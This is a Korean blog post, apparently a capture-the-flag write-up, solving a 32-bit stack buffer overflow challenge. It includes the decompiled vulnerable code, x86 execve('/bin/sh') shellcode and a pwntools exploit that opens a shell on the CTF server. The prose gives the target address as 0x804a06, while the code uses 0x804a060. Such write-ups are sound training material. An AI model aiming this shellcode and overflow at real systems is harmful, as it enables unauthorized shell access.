본문 바로가기
시스템 해킹/CTF

[HackCTF] 내 버퍼가 흘러넘친다!!!

by L3m0n S0ju 2021. 9. 12.

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[20]; // [esp+0h] [ebp-14h] BYREF

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 50u);
  printf("input : ");
  gets(s);
  return 0;
}

 

 


문제 코드는 위와 같습니다. 핵심 주소는 다음과 같습니다.

 

main ebp => 0xffffd508 

name(.bss) => 0x804a06

s => ebp - 0x14

 

풀이는 간단합니다. name에 쉘코드를 입력하고 gets로 main ret을 쉘코드 주소인 0x804a06으로 덮어씌우면 끝입니다. 익스플로잇 코드는 아래와 같습니다.

 

 

 

 

 


from pwn import*
 
r = remote("ctf.j0n9hyun.xyz",3003)

context.log_level='debug'
payload=b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
r.sendline(payload)
payload2=b"a"*24+p32(0x804a060)
r.sendline(payload2)
r.interactive()

 

 

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2021.09.13
[HackCTF] x64 Buffer Overflow  (0) 2021.09.13
[HackCTF] Basic_BOF #2  (0) 2021.09.12
[HackCTF] Basic_BOF #1  (0) 2021.09.10
[Square CTF] 6yte  (0) 2021.09.04

댓글